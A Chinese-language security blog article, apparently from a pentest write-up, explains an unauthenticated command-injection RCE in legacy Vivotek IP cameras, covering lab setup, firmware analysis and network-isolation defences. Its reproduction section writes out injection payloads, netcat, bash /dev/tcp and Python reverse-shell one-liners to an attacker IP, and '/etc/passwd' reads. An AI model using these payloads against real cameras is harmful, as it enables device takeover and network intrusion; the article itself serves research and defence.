Vivotek遗留固件高危漏洞剖析:未授权RCE与命令注入攻防实践
1. 项目概述一次对“过时”设备的深度安全审视最近在整理一个旧项目的安全审计记录时翻到了几年前处理过的一批Vivotek网络摄像头。当时客户因为预算问题一批老旧的摄像头仍在关键区域服役我们进行例行渗透测试时发现了令人背后发凉的问题。这些运行着遗留固件的设备竟然存在一个无需任何身份验证就能远程执行任意代码的漏洞攻击者只需向特定网络接口发送一个精心构造的请求就能在摄像头内部“为所欲为”。这个案例非常典型它揭示了一个在物联网IoT安全领域尤其是安防行业被长期忽视的“灰色地带”已停产或停止维护的硬件设备其遗留固件中潜藏的安全风险。这个项目标题“重新发现Vivotek遗留固件中的漏洞—— IP 摄像头存在未经身份验证的远程代码执行漏洞可通过命令注入进行攻击”精准地概括了核心目标Vivotek IP摄像头、根源遗留固件、漏洞性质未授权RCE、攻击手法命令注入。这不仅仅是某个特定型号的问题而是一类广泛存在的安全隐患的缩影。对于安全研究人员、企业IT管理员甚至是对智能家居安全感兴趣的个人用户来说理解这类漏洞的挖掘思路、原理和影响都至关重要。它能帮你意识到那些看似“还能用”的老旧设备可能正在成为整个网络中最脆弱的一环。2. 漏洞背景与影响范围深度解析2.1 Vivotek设备与“遗留固件”困境Vivotek晶睿通讯是全球知名的网络视频监控解决方案提供商其IP摄像头、NVR等产品在中小企业、零售、楼宇等领域有广泛部署。所谓“遗留固件”通常指的是设备出厂时预装的或后续发布的、但目前已停止官方安全更新和技术支持的固件版本。这通常发生在设备生命周期末期或停产后。厂商的资源会倾斜到新产品和新固件的开发上对于旧设备除非出现极其严重且影响广泛的漏洞否则很难获得修复补丁。这就形成了一个安全死循环设备硬件本身可能仍能稳定运行数年但其“大脑”固件却已暴露在已知或未知的安全威胁之下且无人修补。从网络热词如“海康威视摄像头漏洞”、“萤石固件下载”等可以看出安防设备固件的安全性是业界持续关注的焦点。攻击者往往不会去攻击拥有最新防护的系统而是寻找这些被遗忘的、存在已知漏洞的“低垂果实”。2.2 漏洞核心未经身份验证的远程代码执行这个漏洞的严重性被评定为“高危”甚至“严重”毫不为过。它同时具备了三个危险特性远程Remote攻击者无需物理接触设备只要目标摄像头接入网络无论是互联网还是内网就可以发起攻击。无需身份验证Unauthenticated漏洞利用过程完全绕过了设备的登录认证机制。无论管理员设置了多复杂的密码在此漏洞面前都形同虚设。这区别于那些需要先窃取或破解凭证的漏洞攻击门槛极低。代码执行Code Execution攻击者能够执行任意系统命令。这意味着他们可以完全控制设备启动/停止服务篡改视频流格式化存储。窃取敏感信息读取设备配置获取网络内其他设备的访问凭证。建立持久化后门植入木马或挖矿程序将摄像头变为僵尸网络的一员。作为跳板以内网摄像头的身份横向移动攻击网络中更重要的服务器或工作站。结合“输入摄像头ip浏览器显示拒绝访问”这类常见管理员困惑的场景攻击者可能利用此漏洞在设备上修改网络设置或防火墙规则导致合法管理请求也被拒绝从而掩盖入侵痕迹。2.3 影响范围的现实考量根据补充信息Vivotek官方确认该漏洞影响运行旧版固件的旧硬件且已在新版本中修复。但关键点在于存在漏洞的设备已停产因此不会发布任何追溯性修复。这句话定义了实际的影响范围受影响设备特定型号的、已停产的Vivotek IP摄像头且未升级到已修复该漏洞的新版固件如果存在的话。不受影响设备新型号设备或已升级至安全固件版本的旧型号设备。然而在真实环境中情况更复杂企业环境大量摄像头部署在高处或不易触及的位置固件升级操作繁琐且可能担心升级导致兼容性问题因此“能用就不动”的思想普遍导致大量设备长期运行在漏洞版本上。供应链残留二手市场或库存中可能仍有全新但固件版本老旧的产品在销售和部署。同源风险其他品牌或型号的IP摄像头如果使用了类似的技术架构或第三方软件组件如相同的BoA服务器、相同的CGI处理库也可能存在同类漏洞。这也是“漏洞挖掘”和“漏洞复现”如“kkfileview远程代码执行复现”成为安全研究热点的原因。3. 漏洞原理剖析命令注入是如何发生的3.1 什么是命令注入命令注入是一种应用程序安全漏洞攻击者能够将恶意系统命令插入到原本用于传递数据或参数的应用程序输入字段中并欺骗应用程序执行这些命令。简单类比一个正常的系统功能像是“让助手程序去打开名为report.txt的文件”而命令注入则是欺骗助手去执行“打开report.txt然后删除所有文件”这条复合指令。在Web应用程序或网络服务中当用户输入被不安全地传递给底层操作系统shell如/bin/sh、cmd.exe时就可能发生此漏洞。未经过滤或转义的特殊字符如分号;、管道符|、反引号、、||是攻击者的利器。3.2 固件Web服务中的典型脆弱点大多数IP摄像头都运行着一个嵌入式的Web服务器如BoA、lighttpd或厂商自研提供配置管理界面和API接口。这些接口通常由C/C编写的CGI通用网关接口程序或二进制文件处理。漏洞常出现在处理HTTP请求参数的逻辑中。一个极度简化的伪代码示例模拟可能存在漏洞的固件逻辑// 一个用于设置设备系统时间的CGI处理函数 void set_system_time() { char tz_param[256]; char command[512]; // 从HTTP请求中获取“timezone”参数例如 timezoneGMT8 get_http_param(timezone, tz_param, sizeof(tz_param)); // 危险操作直接将用户输入拼接进系统命令 snprintf(command, sizeof(command), /bin/set_tz.sh %s, tz_param); // 执行拼接后的命令 system(command); }看起来这个函数只是接收一个时区参数然后调用一个脚本去设置。但如果攻击者提交的timezone参数不是GMT8而是GMT8; nc -e /bin/sh 192.168.1.100 4444那么拼接后的命令就变成了/bin/set_tz.sh GMT8; nc -e /bin/sh 192.168.1.100 4444分号;在Shell中表示命令结束。系统会先执行/bin/set_tz.sh GMT8然后执行nc -e /bin/sh 192.168.1.100 4444。后者会启动一个netcat反向Shell连接到攻击者控制的机器192.168.1.100的4444端口从而让攻击者获得一个该摄像头设备上的交互式命令行。3.3 Vivotek漏洞的可能触发路径虽然我们无法获知该特定漏洞的精确细节但结合IP摄像头的常见功能和历史漏洞案例可以推断其可能的触发点配置接口参数注入如网络设置hostname、dns_server、NTP服务器地址ntp_server、日志服务器syslog_server等字段。这些参数往往会被拼接到ping、nslookup或自定义配置脚本中。诊断功能命令注入许多摄像头提供“网络诊断”功能如Ping测试、路由跟踪。用户输入的测试目标IP地址或主机名可能被直接传递给system(“ping ” user_input)。固件升级相关功能处理升级文件URL或本地路径的函数可能存在缺陷。未经授权的API端点某些用于内部调试或简化集成的API端点可能被设计为无需认证但却包含了可注入的参数。这是“未授权访问”与“命令注入”结合产生RCE的典型场景。注意在实际漏洞挖掘中研究人员通常会通过固件逆向工程来定位这些点。他们会解包固件可能涉及“固件加密”的挑战分析其中的二进制文件寻找对system()、popen()、exec()等危险函数的调用并回溯其参数来源。网络热词中的“固件解密”、“betaflight编译”虽然领域不同但反映了对嵌入式设备底层进行操作的共同需求。4. 漏洞复现与利用环境搭建4.1 研究环境准备重要声明以下所有操作必须在完全隔离的实验室环境如虚拟机、专用物理设备中进行严禁对任何非自有或未授权的设备进行测试。未经授权的攻击行为是违法的。获取目标固件官方渠道尝试从Vivotek官网的支持页面根据特定型号查找并下载历史固件版本。对于已停产设备固件可能已被移除。设备提取如果拥有实体设备可通过设备管理界面直接下载或通过串口调试等方式从闪存中提取。第三方存档一些安全研究网站或社区可能会存档各种设备的固件但需注意来源安全。搭建模拟环境使用真实设备最准确的方式是使用存在漏洞的二手摄像头将其网络口连接到隔离的测试网络。使用模拟器对于基于常见架构如ARM、MIPS的固件可以尝试使用qemu-system、firmadyne等工具进行模拟运行。这个过程可能很复杂需要解决内核、驱动依赖等问题类似“wsl2 无法启动因为此计算机上未启用虚拟化”这样的底层问题在模拟嵌入式环境时也会遇到。静态分析为主如果模拟运行困难可以专注于静态逆向分析。工具链准备固件解包工具如binwalk、firmware-mod-kit用于提取固件中的文件系统。逆向工程工具IDA Pro、Ghidra、Binary Ninja用于分析可疑的二进制文件。网络分析工具Wireshark、Burp Suite用于拦截和分析设备与客户端之间的网络流量寻找潜在的API端点。调试工具如果设备支持或模拟成功需要gdb-multiarch等交叉调试工具。4.2 漏洞挖掘与验证步骤信息收集访问摄像头Web界面如http://摄像头IP浏览所有功能点用Burp Suite抓取所有HTTP请求。关注那些无需登录即可访问的URL即“未授权访问”点这大大缩小了攻击面。使用nmap扫描设备开放的所有端口和服务。静态分析寻找危险函数使用binwalk -Me firmware.bin解包固件。在解压出的文件系统中使用grep -r “system\|popen\|exec” .等命令查找所有调用危险函数的二进制文件通常是ELF格式。用逆向工具打开这些二进制文件分析其逻辑。重点查看处理HTTP请求可能涉及libcgi或类似函数的部分追踪用户输入来自GET/POST参数、Cookies、Headers的传递路径看是否在未经过滤的情况下流入了system()等函数。动态测试与模糊测试针对识别出的、无需认证的API端点手动构造异常参数进行测试。例如在任何一个参数中尝试添加; ls、| cat /etc/passwd、id等Payload。可以使用工具如ffuf或wfuzz进行参数模糊测试自动提交包含各种特殊字符和命令的Payload。观察设备响应如果响应中包含命令执行的结果如目录列表、文件内容或者设备行为异常如请求延迟可能是在执行sleep命令则说明可能存在注入点。漏洞验证与利用链构造一旦发现注入点验证命令是否以root或高权限运行通常嵌入式设备Web服务以root运行。执行id或whoami命令查看。构造稳定的反向Shell Payload。由于设备环境可能受限没有nc、bash需要准备多种方案bash -i /dev/tcp/攻击者IP/端口 01python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击者IP”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’使用telnet、php、perl等取决于设备内可用的工具。在攻击机上使用nc -lvnp 端口监听提交构造好的注入请求等待连接。4.3 实操心得与注意事项编码与空格处理HTTP参数中的空格和特殊字符可能需要URL编码。例如空格在GET请求中可以是%20或分号是%3b。在POST请求中也要注意数据格式。命令分隔符的选择不同Shell环境sh、bash、busybox ash对分隔符的支持略有不同。分号;、换行符\n、后台符、逻辑与、逻辑或||、管道|都可以尝试。反引号和$()用于命令替换。输出重定向如果命令执行了但看不到回显可能是因为输出被重定向到了别处。可以尝试将输出重定向到Web可访问的文件如; id /www/result.txt然后通过浏览器访问这个文件。环境差异实验室模拟的环境与真实设备可能存在库文件、路径等差异导致Payload在模拟器中成功在真机上失败。真机测试是最终验证环节。5. 漏洞的防御与缓解措施对于企业用户和个人用户面对此类已停产设备的遗留漏洞可以采取以下防御策略5.1 网络层隔离最有效且立即可行的措施这是防止此类漏洞被利用的第一道也是最重要的防线。严格的网络分段将所有安防设备摄像头、NVR置于一个独立的VLAN中。该VLAN只允许与特定的管理终端如安防工作站和存储服务器如NVR进行必要通信如RTSP视频流、特定管理端口。出口过滤在安防设备VLAN的出口配置防火墙规则禁止所有由摄像头主动发起的向外连接出站流量。这可以阻断反弹Shell、数据外传、作为僵尸网络节点参与DDoS攻击等行为。只允许必要的入站管理流量来自管理VLAN。禁止互联网访问绝对不要将摄像头直接暴露在互联网上。如果需要进行远程访问应通过VPN连接到公司内网再访问安防设备VLAN。入侵检测/防御系统在网络边界部署IDS/IPS设置规则检测常见的命令注入攻击模式如HTTP请求中出现;、|、、反引号等与正常参数不符的组合。5.2 设备层加固最小化服务如果设备管理界面提供选项关闭所有不必要的网络服务如FTP、Telnet、SNMP、UPnP。强密码策略尽管漏洞可能绕过认证但设置强密码仍是基础安全要求可以防御其他类型的攻击。物理安全确保设备放置在不易被物理接触的位置防止通过复位按钮等方式进行物理攻击。5.3 管理与响应策略资产清点与风险评估建立完整的IoT设备资产清单明确每个设备的型号、固件版本、支持状态。对于已停产且运行遗留固件的设备评估其承载业务的重要性和风险制定淘汰更新计划。虚拟补丁在防火墙或WAF上部署针对该特定漏洞的虚拟补丁规则拦截包含已知攻击特征的请求。监控与日志审计集中收集网络设备和安全设备的日志监控安防网段的异常流量如摄像头IP突然向外部IP发起大量连接。最终方案升级或替换升级固件立即检查厂商是否提供了修复该漏洞的新版固件。即使设备已停产有时厂商也会为严重漏洞提供最终更新。这是根本解决方案。硬件替换如果固件已无法更新且设备处于关键位置应规划预算将其替换为处于安全支持期内的新型号设备。将安全成本纳入设备全生命周期管理。6. 从案例延伸IoT设备安全研习建议这个Vivotek案例是IoT安全的一个经典教学样本。如果你对这方面感兴趣可以按以下路径深入学习基础技能掌握网络基础TCP/IP, HTTP、Linux操作系统、一门脚本语言Python/Bash。安全工具熟练使用Burp Suite、Wireshark、nmap、Metasploit等。嵌入式入门学习ARM/MIPS汇编基础了解嵌入式系统启动流程、文件系统如SquashFS, JFFS2。可以参考“esp8266烧录固件步骤”、“stm32固件库”等教程理解固件的概念。固件分析练习使用binwalk解包各种开源或老旧设备的固件镜像。学习使用IDA Pro或Ghidra进行简单的二进制逆向寻找危险函数调用模式。尝试用QEMU模拟运行简单的固件进行动态调试。漏洞研究关注CVE列表、安全社区如Exploit-DB, GitHub Security Lab尝试在可控环境下复现公开的IoT漏洞如“海康威视摄像头漏洞”的某些历史CVE。从分析到复现完整走一遍流程。合法合规始终在自有设备或明确授权的测试环境中进行学习研究。参与厂商的漏洞奖励计划是合法的实践途径。挖掘和修复这类漏洞的过程就像是在为数字世界的老旧建筑进行安全勘测。它需要耐心、细致和对底层原理的深刻理解。每一次对遗留系统的审视不仅是为了消除一个具体的安全隐患更是为了帮助我们构建起更系统化的、面向生命周期的设备安全管理思维。在万物互联的时代每一个接入网络的“哑终端”都可能成为安全链上的突破口而我们的工作就是确保这些突破口被牢牢守住。

相关新闻

百考通AI降重/降AIGC:论文合规优化的精准解决方案,更贴合个人写作预期

百考通AI降重/降AIGC:论文合规优化的精准解决方案,更贴合个人写作预期

在学术规范日益严格的当下,论文写作不仅要攻克创作难关,更要直面查重率过高、AI痕迹明显的双重考验。无论是毕业生的学位论文,还是学者的研究文稿,如何在保留核心观点的基础上,实现学术表达的合规化、原创化&#xff0…

2026/7/7 15:24:14阅读更多 →
FeatherScan v4.5实战:5分钟自动化Linux提权信息收集与漏洞扫描

FeatherScan v4.5实战:5分钟自动化Linux提权信息收集与漏洞扫描

1. 项目概述:从“手工苦力”到“智能扫描”的提权范式转变在渗透测试和CTF实战中,Linux靶机的权限提升(Privilege Escalation)是检验一个安全研究员基本功的试金石,也是从外部突破转向内网横向移动的关键跳板。过去&am…

2026/7/7 15:24:14阅读更多 →
PCF8591与PIC32MX695F512L的I2C通信与数据采集实现

PCF8591与PIC32MX695F512L的I2C通信与数据采集实现

1. PCF8591与PIC32MX695F512L的硬件协同设计 PCF8591作为一款经典的8位ADC/DAC转换芯片,与PIC32MX695F512L这款32位高性能微控制器的组合,为开发者提供了灵活可靠的混合信号处理方案。这套组合特别适合需要同时处理多路模拟信号输入输出的场景&#xff0…

2026/7/7 15:19:14阅读更多 →
蓝牙5.4与STM32F7构建低延迟无线音频系统

蓝牙5.4与STM32F7构建低延迟无线音频系统

1. 项目背景与核心组件选型在无线音频传输领域,Bluetooth 5.4标准的推出标志着LE Audio技术的成熟应用。本次项目采用IDC777-1蓝牙模块与STM32F745VG微控制器的组合方案,旨在构建一个高保真、低延迟的无线音频传输系统。这套方案特别适合需要高质量音频传…

2026/7/7 16:29:44阅读更多 →
EM3080-W与MKV42F128VLH16的嵌入式条码识别系统设计

EM3080-W与MKV42F128VLH16的嵌入式条码识别系统设计

1. EM3080-W与MKV42F128VLH16的硬件协同设计在嵌入式条码识别系统中,EM3080-W解码芯片与MKV42F128VLH16微控制器的组合堪称黄金搭档。EM3080-W作为专业级解码芯片,其内部双核DSP架构(120MHz主频专用协处理器)可实时处理1280800分辨…

2026/7/7 16:29:44阅读更多 →
临时 IPv4 NAT 网络共享配置指南

临时 IPv4 NAT 网络共享配置指南

场景定位:一台 Linux 主机已经可以访问外网,另一台同网段或直连主机无法访问外网,需要临时通过前者共享网络。 适用场景:临时排障、临时下载依赖、设备初始化、无路由器或默认网关不可用的局域网环境。适用系统:常见 L…

2026/7/7 16:29:44阅读更多 →
GPT5.5 适合普通用户吗?新模型使用场景与评估方法详

GPT5.5 适合普通用户吗?新模型使用场景与评估方法详

概要GPT-5.5 是 OpenAI 于 2026 年 4 月发布的新一代旗舰模型,也是自 GPT-4.5 以来首个从零完整重训的基础模型。官方定位是"迄今为止最智能、最直观易用的模型",在对话逻辑、代码工程、长文本推理三个维度有明显提升。但"最强"不等…

2026/7/7 16:29:44阅读更多 →
STM32L152RE驱动CMT-8540S蜂鸣器实现低功耗音频方案

STM32L152RE驱动CMT-8540S蜂鸣器实现低功耗音频方案

1. 项目概述:为嵌入式系统添加声音交互能力 在智能硬件和物联网设备开发中,声音交互是最直接的人机交互方式之一。使用STM32L152RE低功耗微控制器搭配CMT-8540S-SMT磁性蜂鸣器,可以经济高效地为各类项目添加提示音、报警声、交互反馈等音频功…

2026/7/7 16:29:44阅读更多 →
SVGnest免费开源材料切割优化工具:5分钟掌握智能嵌套技术

SVGnest免费开源材料切割优化工具:5分钟掌握智能嵌套技术

SVGnest免费开源材料切割优化工具:5分钟掌握智能嵌套技术 【免费下载链接】SVGnest An open source vector nesting tool 项目地址: https://gitcode.com/gh_mirrors/sv/SVGnest SVGnest是一款完全免费的开源向量嵌套工具,专门用于材料切割布局优…

2026/7/7 16:24:44阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/7 4:43:43阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/7 2:56:31阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/7 1:03:28阅读更多 →
Acunetix v24.8 深度解析:DAST漏洞扫描器核心原理与DevSecOps实践

Acunetix v24.8 深度解析:DAST漏洞扫描器核心原理与DevSecOps实践

1. 项目概述:Acunetix v24.8 高级版漏洞扫描器深度解析作为一名在网络安全领域摸爬滚打多年的老兵,我深知一款趁手的“兵器”对于安全测试工作意味着什么。今天要聊的,就是Web应用安全测试领域里一个响当当的名字——Acunetix。特别是其v24.8…

2026/7/7 0:02:41阅读更多 →
国产化信创改造:达梦/人大金仓适配与多数据库兼容方案实战(SpringBoot)

国产化信创改造:达梦/人大金仓适配与多数据库兼容方案实战(SpringBoot)

国产化信创改造:达梦/人大金仓适配与多数据库兼容方案实战(SpringBoot) 🌐 演示地址:http://ruoyioffice.com | 📦 源码1GitHub:ruoyi-office | 📦 源码2GitCode:ruoyi-o…

2026/7/7 0:02:41阅读更多 →
CentOS 7/8 SSH 连接失败:5步系统性排错流程与决策树

CentOS 7/8 SSH 连接失败:5步系统性排错流程与决策树

CentOS SSH连接故障排查:从基础检查到深度修复的完整指南引言当你尝试通过Xshell或其他SSH客户端连接CentOS服务器时,突然遭遇"Connection refused"或"Connection timed out"的错误提示,这种经历对任何运维人员或开发者来…

2026/7/7 0:02:41阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/7 5:11:21阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/7 5:11:21阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/7 5:11:21阅读更多 →